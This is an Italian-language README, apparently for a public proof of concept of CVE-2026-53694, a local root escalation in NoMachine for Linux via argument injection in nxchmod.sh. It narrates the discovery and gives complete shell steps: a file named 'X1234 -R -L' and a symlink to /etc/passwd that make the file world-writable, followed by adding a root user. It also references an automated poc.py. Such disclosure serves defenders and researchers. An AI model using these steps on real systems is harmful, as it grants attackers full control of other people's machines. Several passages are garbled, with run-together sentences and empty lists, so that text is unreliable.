
Prova di concetto e analisi per CVE-2026-53694, un'escalation dei privilegi locali in NoMachine per Linux tramite iniezione di argomenti in nxchmod.sh, che consente l'accesso root attraverso la manipolazione di symlink.
Questo repository contiene la documentazione e la Prova di Concetto (PoC) per CVE-2026-53694, una vulnerabilità di Escalata dei Privilegi Locali (LPE) in NoMachine per Linux.
A causa di una neutralizzazione impropria dei delimitatori di argomento nello script nxchmod.sh, un utente locale non privilegiato può iniettare argomenti in un comando di sistema eseguito come root. Combinando questa iniezione di argomenti con un collegamento simbolico, un attaccante può sovrascrivere file critici di sistema (come /etc/passwd) e aumentare i propri privilegi a root.
Questa vulnerabilità è stata completamente corretta dal fornitore.
Trovare questa vulnerabilità è stato un processo di tentativi, errori e una realizzazione notturna. Ecco come si è svolta la scoperta:
/usr/NX/scripts/restricted/nxchmod.sh veniva eseguito periodicamente dall'utente root per gestire i permessi in directory specifiche.chmod a+rw ai file. Ho pensato: Se controllo la destinazione, posso usare un symlink per rendere scrivibile /etc/passwd? Ho testato un symlink standard (ln -s /etc/passwd /tmp/asdf), ma ha fallito. Il sticky bit di Linux sulle directory come /tmp impedisce all'utente root di seguire ciecamente un symlink creato da un altro utente.${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. Lo script prendeva il nome del file così com'è e lo passava direttamente a chmod.X1234 -R -L. Quando lo script veniva eseguito, il comando chmod espandeva questo in argomenti invece che in un singolo percorso file.La vulnerabilità deriva da come NoMachine gestisce i permessi per i socket X11/Wayland. Lo script nxchmod.sh viene avviato dal demone nxserver.bin in esecuzione come root.
L'esecuzione vulnerabile si presenta così:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
Se un attaccante crea una struttura di directory e un file chiamato X1234 -R -L, il comando risultante eseguito da root diventa:
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
Quando un symlink che punta a /etc/passwd viene posizionato all'interno della directory X1234, gli argomenti iniettati -R e -L costringono chmod a seguire ricorsivamente il symlink e a concedere permessi di lettura/scrittura globali al file di destinazione.
Affinché questo exploit funzioni, il sistema di destinazione deve soddisfare le seguenti condizioni:
Puoi riprodurre questa vulnerabilità manualmente usando comandi shell oppure automaticamente usando lo script Python fornito.
Naviga in /tmp/.X11-unix/ ed esegui i seguenti comandi per creare la struttura di directory malevola.
cd /tmp/.X11-unix/
# 1. Impostazione dello sfruttamento
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Attendere l'esecuzione di nxchmod.sh (può richiedere fino a 60 secondi).
# Verificare che i permessi di /etc/passwd siano cambiati in -rw-rw-rw-
# Ora puoi modificare /etc/passwd per aggiungere un utente root.
Una volta verificata la vulnerabilità e ottenuti i privilegi, esegui i seguenti comandi di pulizia per ripristinare la stabilità del sistema e rimuovere gli artefatti:
# 2. Pulizia
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
Un exploit automatico completo è fornito in poc.py. Questo script verifica i requisiti di Wayland, imposta il symlink, attende il ciclo di esecuzione di nxchmod.sh e inietta un nuovo utente root (gg) in /etc/passwd
Per eseguire l'exploit:
python3 poc.py
Questa vulnerabilità è stata risolta da NoMachine. Gli utenti dovrebbero aggiornare alle seguenti versioni o successive:
-L-Rchmodchmod/etc/passwd è stato reso scrivibile (a+rw), ho potuto semplicemente aggiungere un nuovo utente root al file ed eseguire su per accedervi.